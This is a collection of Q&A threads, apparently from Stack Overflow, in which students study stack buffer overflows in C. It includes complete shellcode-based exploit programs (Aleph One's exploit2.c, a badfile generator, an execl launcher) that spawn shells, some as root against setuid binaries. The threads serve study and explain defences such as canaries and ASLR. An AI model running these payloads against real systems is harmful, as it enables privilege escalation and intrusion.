I'm attempting to understand the concept of a buffer overflow and I'm having trouble computing how much data to stuff into the stack so it overflows correctly. Suppose I'm given some code (this is not my code, and yes it is from a class, but this isn't a graded assignment):
The goal is to get bar to be executed.
#include <stdio.h>
#include <string.h>
void foo(char *s) {
char buf[4];
strcpy(buf, s);
printf("You entered: [%s]", buf);
fflush(stdout);
}
void bar() {
printf("\n\nWhat? I was not supposed to be called!\n\n");
fflush(stdout);
}
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s some_string", argv[0]);
return 2;
}
foo(argv[1]);
return 0;
}
When I disassemble bar I get the start address of bar:
(gdb) disas bar
Dump of assembler code for function bar:
0x000000000040062d <+0>: push %rbp
I was told that there needs to be 28 bytes of data stuffed into the buffer, and the last 4 bytes, need to be \x2d\x06\x04\x00. Where do you get 24 bytes to know how much random data to stuff.
Generally, and what i'm most interested in, is how to generalize and figure this out for any problem.
How do you compute the number of bytes needed to fill the stack frame and then overwrite the return address of the function?
Note: This is written in C, and compiled with GCC 4.4.7
From a single piece of C code, you can get different results.
void foo(char *s) {
char buf[4];
strcpy(buf, s);
printf("You entered: [%s]", buf);
fflush(stdout);
}
The compiler may output
ADD SP, 4 // space for buf
PUSH SP-12 // address of string 's'
PUSH SP-8 // address of SP (4 + space for s)
call strcpy
push literal_You_entered
push SP-8
call printf
...
Or it may want to have a stack frame.
PUSH Frame
MOVE SP, Frame
ADD SP, 4 // space for buf
....
Or it may need to save registers
PUSH Frame
MOVE SP, Frame
PUSH Reg1
PUSH Reg2
ADD SP, 4 // space for buf
This can be based on the optimization setting for the compiler. In each case this moves the value around.
Try a magic buffer like '\x01\x02\x03\x04\.....\xfe\xff'.
The segmentation fault you get should show you where the important bytes are. Access violation at 0x08090a0b would describe which bytes were the return.
Overwriting the frame pointer (FP) means you can modify the behavior in the calling function, which may also help you.
How do you compute the number of bytes needed to fill the stack frame and then overwrite the return address of the function?
You do it by learning the layout of the stack frame in the architecture that you're trying to exploit, and how the compiler places variables into the stack frame. 28 bytes happens to be the difference between the location of the first variable and the return address in the stack frame of the particular architecture you're using.
Related
I'm looking at aleph's article on phrack magazine. The code below can also be found there.
We have a vulnerable executable which it's code is:
vulnerable.c
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
Now, since we don't really know, when trying to attack that executable (by overflowing buffer), what is the address of buffer. We need to know it's address because we want to override the ret to point to the beginning of buffer (in which we put our shellcode).
The guessing procedure that is described in the article is as follows:
We can create a program that takes as a parameter a buffer size, and
an offset from its own stack pointer (where we believe the buffer we
want to overflow may live). We'll put the overflow string in an
environment variable so it is easy to manipulate:
exploit2.c
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] = //this shellcode merely opens a shell
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
Now we can try to guess what the buffer and offset should be:
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
I don't understand what does the writer meant to present, in explot2.c we guess the size of the buffer in vulnerable.c and it's offset from the stack pointer.
Why do we apply this offset on the stack pointer of exploit2?
How does this effect vulnerable?
What's the purpose of exploit2.c except from building the EGG environment variable?
Why do we call system("/bin/bash"); at the end?
What's going on between vulnerable and exploit2 in general?
The only purpose of exploit2 is building the egg variable, which needs to be passed as a parameter to vulnerable. It could be modified so to call vulnerable on its own.
The shellcode variable contains machine code for a function that invokes a shell. The goal is to copy this code into the buffer variable of vulnerable, and then overwrite the return address of the main function of vulnerable to point to the entry point of the shell code, that is, the address of the variable buffer. The stack grows downward: the stack pointer register (esp in 32-bit x86 architecture) contains the smallest address used by local variables of the current function, at higher addresses we find other local variables, then the return address of the currently executing function, then the variables of the callee and so on. An overflow write on a variable, such as buffer in vulnerable, would overwrite whatever follows buffer in memory, in this case the return address of main since buffer is a local variable of the main function.
Now that we know what to do, we need some information:
the address of the buffer variable, let's call it bp
the address of the return address of the main function, let's call it ra
If we had this information we could forge an exploit string EGG such that:
its length is ra - bp + sizeof(void*) in order to overflow the string buffer enough to overwrite the return address (sizeof (void* is the size of the return address)
it contains the exploit code to be executed at the beginning, and the address bp at the end
Note that we only need a rough guess for the length of the string because we can just make the string longer and keep repeating the address bp all over it, but we need to compute the exact bp address if we want the shellcode to be executed properly.
We start by guessing the string length needed to overwrite the return value: 600 is enough, because it triggers an Illegal instruction error. Once we find it, we can look for the bp address.
We know that bp is around the bottom of the stack, because that's where the local variables are stored. We assume that the address for the stack are the same in vulnerable and exploit2, we measure the stack address in exploit2 and start poking around changing offset. Once we get the right offset (the one which result in addr being equal to the target bp) the shell code will be executed when the control flow return from the main function of vulnerable.
If you want to test this code, remember that this does not work in modern machines because of the execution prevention technology which is used by operating system to marks pages containing data as not executable.
This particular problem has been addressed a few times here on stackoverflow, but I cannot find any previous post that addresses some questions that I have. I would like to note that I have read Aleph One's "Smashing the Stack for Fun and Profit", but there are still gaps in my understanding.
My question is: This works (spawns a root shell) for various buffer sizes of stack.c in bof() from buffer[12] to buffer[24]. Why does it not work (seg fault) for buffer[48] (which results in a seg fault), for example (or, how would the program need to be modified to make it work for such buffers)?
Please note that the following commands are used when compiling stack.c
# gcc -o stack -z execstack -fno-stack-protector stack.c
# chmod 4755 stack
And ASLR is OFF.
First, let's look at the vulnerable program:
stack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
And the program to exploit this: test.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
// code to spawn a shell
char shellcode[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;
unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}
void main(int argc, char **argv)
{
FILE *badfile;
char *ptr;
long *a_ptr;
long *ret;
int offset = 450;
int bsize = 517;
char buffer[bsize];
// a_ptr will store the return address
ptr = buffer;
a_ptr = (long *) ptr;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, bsize);
/* Fill buffer with appropriate contents */
printf("Stack Pointer (ESP): 0x%x\n", get_sp());
ret = get_sp() + offset;
printf("Address: 0x%x\n", ret);
int i;
for (i = 0; i < 350; i += 4)
*(a_ptr++) = ret;
for (i = 450; i < sizeof(shellcode) + 450; i++)
buffer[i] = shellcode[i-450];
buffer[bsize - 1] = '\0';
/*Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
Below I will try to explain what I think is going on, and jot down notes as to where I believe the gaps in my knowledge are. If anyone has time to go over this as well as answer the question as stated earlier, then thank you.
Clearly, the buffer[12] in stack.c is going to be overflowed when strcpy() is called, because a string of size 517 is being copied into a buffer of size 12.
In test.c, I understand that we are creating the malicious buffer which is to be read by stack.c. This buffer is initialized with a bunch of NO-OP's (0x90). Beyond that, I am a bit confused.
1) What is the point of the offset being added to ret in ret = get_sp() + offset;? Also, why is offset = 450? I have tried other values for the offset and this program has still run (such as 460). 450 seems like a guess that happens to work.
2) At for (i = 0; i < 350; i += 4), why is 350 used? I don't understand the point of this value. I believe that this loop is filling the first 350 bytes of the buffer with the return address ret, but I do not understand why it is 350 bytes. I believe that we are increasing i by 4 each time because (long *) is 4 bytes. If this is true, shouldn't this 350 also be a multiple of 4?
3) Again, at for (i = 450; i < sizeof(shellcode) + 450; i++) (sizeof(shellcode) is 25), why do we start at 450 in the buffer? This is saying we are filling buffer[450] to buffer[475] with the shell code. Currently, everything after that should be initialized to a NO-OP. So what? Why 450 - 475?
Keep in mind that, in a 32-bit x86 program such as this, the bytes on top of the stack hold, from lowest address on up: local variables, the return address of the function, its parameters, any registers saved by the caller, the caller’s local variables, etc.
The loop is actually writing 348 bytes worth of four-byte return addresses to the top of the stack. (It predated C99 and x86_64 and therefore assumed that long is exactly 32 bits.) The purpose of this is just to ensure that, for any plausible amount of storage for local variables, the return address will get overwritten. It also tries to handle the case where the function with the vulnerability gets called from several levels deep and the top of the stack is no longer the same. Then there’s some padding with nop instructions, because if the function return lands anywhere in there, the CPU will just skip them. Finally, there’s the shell code, in machine language. The whole point is to get the return address to point anywhere in this part of the buffer. Note that this will only work if the exploit code can be sure that the address of the stack pointer in the caller’s address space is similar. Address-space randomization is a technique to defeat this.
In other words, the code repeats itself a few hundred times because stuff might not be at exactly the same place in a new process, and this way, it still works if the stack pointer is anywhere close to where it expects. The values are ballpark figures, but Aleph One talks about how to find them.
this code is meant to take a list of names in a text file, and convert to email form
so Kate Jones becomes kate.jones#yahoo.com
this code worked fine on linux mint 12, but now the exact same code is giving a segfault on arch linux.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
FILE *fp;
fp = fopen("original.txt", "r+");
if (fp == NULL )
{
printf("error opening file 1");
return (1);
}
char line[100];
char mod[30] = "#yahoo,com\n";
while (fgets(line, 100, fp) != NULL )
{
int i;
for (i = 0; i < 100; ++i)
{
if (line[i] == ' ')
{
line[i] = '.';
}
if (line[i] == '\n')
{
line[i] = '\0';
}
}
strcat(line, mod);
FILE *fp2;
fp2 = fopen("final.txt", "a");
if (fp == NULL )
{
printf("error opening file 2");
return (1);
}
if (fp2 != NULL )
{
fputs(line, fp2);
fclose(fp2);
}
}
fclose(fp);
return 0;
}
Arch Linux is a fairly fresh install, could it be that there is something else I didn't install that C will need?
I think the problem would be when your original string plus mod exceeds 100 characters.
When you call strcat, it simply copies the string from the second appended to the first, assuming there is enough room in the first string which clearly doesn't seem to be the case here.
Just increase the size of line i.e. it could be
char line[130]; // 130 might be more than what is required since mod is shorter
Also it is much better to use strncat
where you can limit maximum number of elements copied to dst, otherwise, strcat can still go beyond size without complaining if given large enough strings.
Though a word of caution with strncat is that it does not terminate strings with null i.e. \0 on its own, specially when they are shorter than the given n. So its documentation should be thoroughly read before actual use.
Update: Platform specific note
Thought of adding, it is by sheer coincidence that it didn't seg fault on mint and crashed on arch. In practice it is invoking undefined behavior and should crash sooner or latter. There is nothing platform specific here.
Firstly your code isn't producing segmentation fault. Instead it will bring up "Stack Smashing" and throws below libc_message in the output console.
*** stack smashing detected ***: _executable-name-with-path_ terminated.
Stack buffer overflow bugs are caused when a program writes more data to a buffer located on the stack than there was actually allocated for that buffer.
Stack Smashing Protector (SSP) is a GCC extension for protecting applications from such stack-smashing attacks.
And, as said in other answers, your problem gets resolved with incrementing (strcat() function's first argument). from
char line[100]
to
char line[130]; // size of line must be atleast `strlen(line) + strlen(mod) + 1`. Though 130 is not perfect, it is safer
Lets see where the issue exactly hits in your code:
For that I am bringing up disassembly code of your main.
(gdb) disas main
Dump of assembler code for function main:
0x0804857c <+0>: push %ebp
0x0804857d <+1>: mov %esp,%ebp
0x0804857f <+3>: and $0xfffffff0,%esp
0x08048582 <+6>: sub $0xb0,%esp
0x08048588 <+12>: mov %gs:0x14,%eax
0x0804858e <+18>: mov %eax,0xac(%esp)
..... //Leaving out Code after 0x0804858e till 0x08048671
0x08048671 <+245>: call 0x8048430 <strcat#plt>
0x08048676 <+250>: movl $0x80487d5,0x4(%esp)
.... //Leaving out Code after 0x08048676 till 0x08048704
0x08048704 <+392>: mov 0xac(%esp),%edx
0x0804870b <+399>: xor %gs:0x14,%edx
0x08048712 <+406>: je 0x8048719 <main+413>
0x08048714 <+408>: call 0x8048420 <__stack_chk_fail#plt>
0x08048719 <+413>: leave
0x0804871a <+414>: ret
Following the usual assembly language prologue,
Instruction at 0x08048582 : stack grows by b0(176 in decimal) bytes for allowing storage stack contents for the main function.
%gs:0x14 provides the random canary value used for stack protection.
Instruction at 0x08048588 : Stores above mentioned value into the eax register.
Instruction at 0x0804858e : eax content(canary value) is pushed to stack at $esp with offset 172
Keep a breakpoint(1) at 0x0804858e.
(gdb) break *0x0804858e
Breakpoint 1 at 0x804858e: file program_name.c, line 6.
Run the program:
(gdb) run
Starting program: /path-to-executable/executable-name
Breakpoint 1, 0x0804858e in main () at program_name.c:6
6 {
Once program pauses at the breakpoint(1), Retreive the random canary value by printing the contents of register 'eax'
(gdb) i r eax
eax 0xa3d24300 -1546501376
Keep a breakpoint(2) at 0x08048671 : Exactly before call strcat().
(gdb) break *0x08048671
Breakpoint 2 at 0x8048671: file program_name.c, line 33.
Continue the program execution to reach the breakpoint (2)
(gdb) continue
Continuing.
Breakpoint 2, 0x08048671 in main () at program_name.c:33
print out the second top stack content where we stored the random canary value by executing following command in gdb, to ensure it is the same before strcat() is called.
(gdb) p *(int*)($esp + 172)
$1 = -1546501376
Keep a breakpoint (3) at 0x08048676 : Immediately after returning from call strcat()
(gdb) break *0x08048676
Breakpoint 3 at 0x8048676: file program_name.c, line 36.
Continue the program execution to reach the breakpoint (3)
(gdb) continue
Continuing.
Breakpoint 3, main () at program_name.c:36
print out the second top stack content where we stored the random canary value by executing following command in gdb, to ensure it is not corrupted by calling strcat()
(gdb) p *(int*)($esp + 172)
$2 = 1869111673
But it is corrupted by calling strcat(). You can see $1 and $2 are not same.
Lets see what happens because of corrupting the random canary value.
Instruction at 0x08048704 : Pulls the corrupted random canary value and stores in 'edx` register
Instruction at 0x0804870b : xor the actual random canary value and the contents of 'edx' register
Instruction at 0x08048712 : If they are same, jumps directly to end of main and returns safely. In our case random canary value is corrupted and 'edx' register contents is not the same as the actual random canary value. Hence Jump condition fails and __stack_chk_fail is called which throws libc_message mentioned in the top of the answer and aborts the application.
Useful Links:
IBM SSP Page
Interesting Read on SSP - caution pdf.
Since you didn't tell us where it faults I'll just point out some suspect lines:
for(i=0; i<100; ++i)
What if a line is less than 100 chars? This will read uninitialized memory - its not a good idea to do this.
strcat(line, mod);
What if a line is 90 in length and then you're adding 30 more chars? Thats 20 out of bounds..
You need to calculate the length and dynamically allocate your strings with malloc, and ensure you don't read or write out of bounds, and that your strings are always NULL terminated. Or you could use C++/std::string to make things easier if it doesn't have to be C.
Instead of checking for \n only, for the end of line, add the check for \r character also.
if(line[i] == '\n' || line[i] == '\r')
Also, before using strcat ensure that line has has enough room for mod. You can do this by checking if (i < /* Some value far less than 100 */), if i == 100 then that means it never encountered a \n character hence \0 was not added to line, hence Invalid memory Access occurs inside strcat() and therefore Seg Fault.
Fixed it. I simply increased the size of my line string.
I am working on a homework assignment concerning a bufferOverflow.
The test program uses fread() to read 4096 bytes from a file.
When I set kernel.randomize_va_space to 0, and run the program in gdb, I can see that the fread() command returns nothing.
If I set kernel.randomize_va_space to either 1 or 2, and rerun the program using gdb, I can see the expected data in the buffer where fread stores the file.
Why would ASLR cause fread to stop working properly?
FYI: this is ubuntu 12.0.4 64-bit, and the program was compiled with the -c99 and -m32 flags to gcc.
The test program I was given for this assignment is as follows:
#include <stdio.h>
#define READSIZE 0x1000
void countLines(FILE* f){
char buf[0x400];//should be big enough for anybody
int lines=0;
fread(buf,READSIZE,1,f);
for(int i=0;i<0x400;i++)
if(buf[i] == '\n')
lines++;
printf("The number of lines in the file is %d\n",lines);
return;
}
int main(int argc,char** argv){
if(argc<2){
printf("Proper usage is %s <filename>\n",argv[0]);
exit(0);
}
FILE* myfile=fopen(argv[1],"r");
countLines(myfile);
return 0;
}
When I run it in gdb, I place my breakpoint on the line:
for(int i=0;i<0x400;i++)
In gdb, I then do the following:
(gdb) x $esp
0xbffff280 0xbffff298
If I do:
(gdb) x /12wx $esp
I can see that the first 4 bytes are the address of buf, the next 4 bytes are the 0x1000 passed to fread and the next 4 bytes are 0x01 which was also passed to fread.
This looks to me like the stack frame for the fread function not the stack frame for countLines().
Why wouldn't $esp be pointing to the current stack frame not hte one that was just exited?
Update
I modified the code as follows:
#include <stdio.h>
#define READSIZE 0x1000
void countLines(FILE* f){
char buf[0x400];//should be big enough for anybody
int lines=0;
int ferr=0;
fread(buf,READSIZE,1,f);
ferr=ferror(f);
if (ferr)
printf("I/O error when reading (%d)\n",ferr);
else if (feof(f))
printf("End of file reached successfully\n");
for(int i=0;i<0x400;i++)
if(buf[i] == '\n')
lines++;
printf("The number of lines in the file is %d\n",lines);
return;
}
int main(int argc,char** argv){
if(argc<2){
printf("Proper usage is %s <filename>\n",argv[0]);
exit(0);
}
FILE* myfile=fopen(argv[1],"r");
countLines(myfile);
return 0;
}
When I run it with ASLR diabled, I get:
I/O errorwhen readin (1)
If I run it with ASLR enabled (value=1),
get
EOF reached.
fread() reads up to nitems elements of size size into an array pointed to by ptr. It is the programmer's responsability to ensure the array is big enough.
That last part is important. fread() has no way of knowing the actual size of the array. It will happily read stuff and store it past the end of the array. Accessing past the end of the array results in Undefined Behavior: there is no guarantee as to what will happen, notably, in this case, it can result in arbitrary code execution.
As to why sometimes it bombs and sometimes not:
With no ASLR you had this:
(gdb) x $esp
0xbffff280 0xbffff298
with the buffer at address 0xbffff298. The top of the stack is at 0xbfffffff, which leaves 3432 bytes between the start of the buffer and the end of the stack. When trying to read into the buffer, the process has nothing mapped at 0xc0000000 in userspace (which you can check with cat /proc/<pid>/maps, to see the process' userspace mappings) , so the underlying read() system call fails with EFAULT - Bad address.
With ASLR, there is some randomization for stack placement. The stack base has ~11 bits 1 of randomness on x86 (arch/x86/include/asm/elf.h):
/* 1GB for 64bit, 8MB for 32bit */
#define STACK_RND_MASK (test_thread_flag(TIF_IA32) ? 0x7ff : 0x3fffff)
and the stack top has 9 additional bits of randomness (arch/x86/kernel/process.c:arch_align_stack(), called from fs/binfmt_elf.c:create_elf_tables()):
if (!(current->personality & ADDR_NO_RANDOMIZE) && randomize_va_space)
sp -= get_random_int() % 8192;
return sp & ~0xf;
So, arch_align_stack() offsets the stack top [0,8176] bytes, in 16 byte increments, i.e, the initial stack pointer may be moved 0, 16, 32, ..., 8176 bytes from its original position.
So, with your 3432 bytes (the buffer, plus space for argc, argv, envp, auxp, assorted pointers to them, and padding), plus the variable ASLR offset, you have only ~8% chance of having less than 4096 bytes on your stack, which would allow you to see the SEGV with ASLR on. Just try a lot of times, and you should see it about once every 12 tries.
1 The stack base can also be moved an additional page, see fs/exec.c:setup_arg_pages():
stack_top = arch_align_stack(stack_top);
stack_top = PAGE_ALIGN(stack_top);
As for the fread() arguments on stack, that's correct - these are stored before the caller's BP value is pushed on the stack by the callee, so they are part of the caller's stack frame - check x86 stack frame description. On x86-64 you won't see them since they are passed to the callee in registers.
As for the ASLR error, get the error description with perror(). Or better install debuginfo packages for glibc, so that you can trace the code into fread() itself.
I never figured out why the fread() function ws failing so I replaced it with an fgets() function and finished the assignment.
Thank you everyone for all the help.
This forum is great!
I'm a computer engineering student who is studying how stack buffer overflows work. The book I'm reading is The Art of Exploitation (1st edition) by Jon Erickson.
In order to practice what I'm studying I've installed Damn Vulnerable Linux distribution in a virtual machine. I've disabled ASRL (kernel.randomize_va_space = 0), I've compiled the following codes with GCC 3.4.6, I'm using GDB 6.6 and the kernel of the distribution is 2.6.20. My computer has an Intel processor.
The vulnerable program (test2) is created by root and is set as setuid.
The vulnerable code is the following:
//test2.c
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
While the exploit code, created by normal (non root) user, is the following:
//main.c
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
unsigned long sp(void)
{
__asm__("movl %esp, %eax");
}
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer2, *ptr;
offset = 0;
esp = sp();
ret = esp - offset;
printf("Stack pointer (ESP) : 0x%x\n", esp);
printf(" Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);
buffer2 = malloc(600);
ptr = buffer2;
addr_ptr = (long *)ptr;
for (i = 0; i < 600; i += 4)
{
*(addr_ptr++) = ret;
}
for (i = 0; i < 200; i++)
{
buffer2[i] = '\x90';
}
ptr = buffer2 + 200;
for (i = 0; i < strlen(shellcode); i++)
{
*(ptr++) = shellcode[i];
}
buffer2[600 - 1] = 0;
execl("/root/workspace/test2/Release/test2", "test2", buffer2, 0);
free(buffer2);
return 0;
}
The program works, it exploits the buffer overflow vulnerability in test2 and gives me a root shell.
What I don't understand, even after reading the book several times and trying to find answers on the internet, is why the value of the stack pointer that we store in the variable esp is the return address of our shellcode. I've disassembled the program with GDB and everything works as the author says but I don't understand why this happens.
I would have liked to show you how the disassembled program looked like and how the memory looked like during execution, but I cannot copy/paste from the guest machine on the virtual machine and I'm not allowed to insert images in my question. So I can only try to describe what happens during execution of the program main (the one that exploits the BOF in test2):
disassembling main, I see that 28 bytes are allocated on the stack (7 variables * 4 bytes). Then the function sp() is called and the value of the stack pointer is stored in esp. The value stored in the variable esp is 0xbffff344. Then, as you can see, we have some printf, we store the payload in buffer2 and then we call the execl function passing buffer2 as an argument.
now the root shell shows up and then the program exits. Disassembling the program after setting a different offset, I can clearly see that 0xbffff344 is precisely the address where the payload is stored when test2 is executed. Could you explain me how does this happen? Does execl sets a new stack frame for the test2 program? In main.c only 28 bytes are allocated on the stack, while in test2 500 bytes are allocated on the stack (for buffer2). So how do I know that the stack pointer that i get in main.c is precisely the return address of the shellcode?
I thank you and apologize if I wrote some stupid things.
Could you explain me how does this happen?
When ASLR is disabled every executable starts at the same address, so given the stack pointer you are able to guess the required offset to find your buffer location in test2. This is also where the NOP sled becomes useful, since it give you multiple possible hit if the offset is not the exact displacement to the shellcode.
That being said the fact the the value of ESP in the main function of your exploit program IS the location of the executed buffer in test2 seems incorrect. Are you sure you just don't misinterpreted gdb results?
You should be able to compute the offset of the buffer using the following : esp - 500 + 28.
Note that you should always wear gloves when using such formula : how the compiler handles locals, (size, order, etc) can vary.
So how do I know that the stack pointer that i get in main.c is precisely the return address of the shellcode?
Well You don't. It depends of the machine, how the program was compiled etc.
Does execl sets a new stack frame for the test2 program?
From the execve man pages :
The exec family of functions shall replace the current process image
with a new process image. The new image shall be constructed from a
regular, executable file called the new process image file. There
shall be no return from a successful exec, because the calling process
image is overlaid by the new process image.
The stack is overridden by a new one for test2.
Hope it helps :)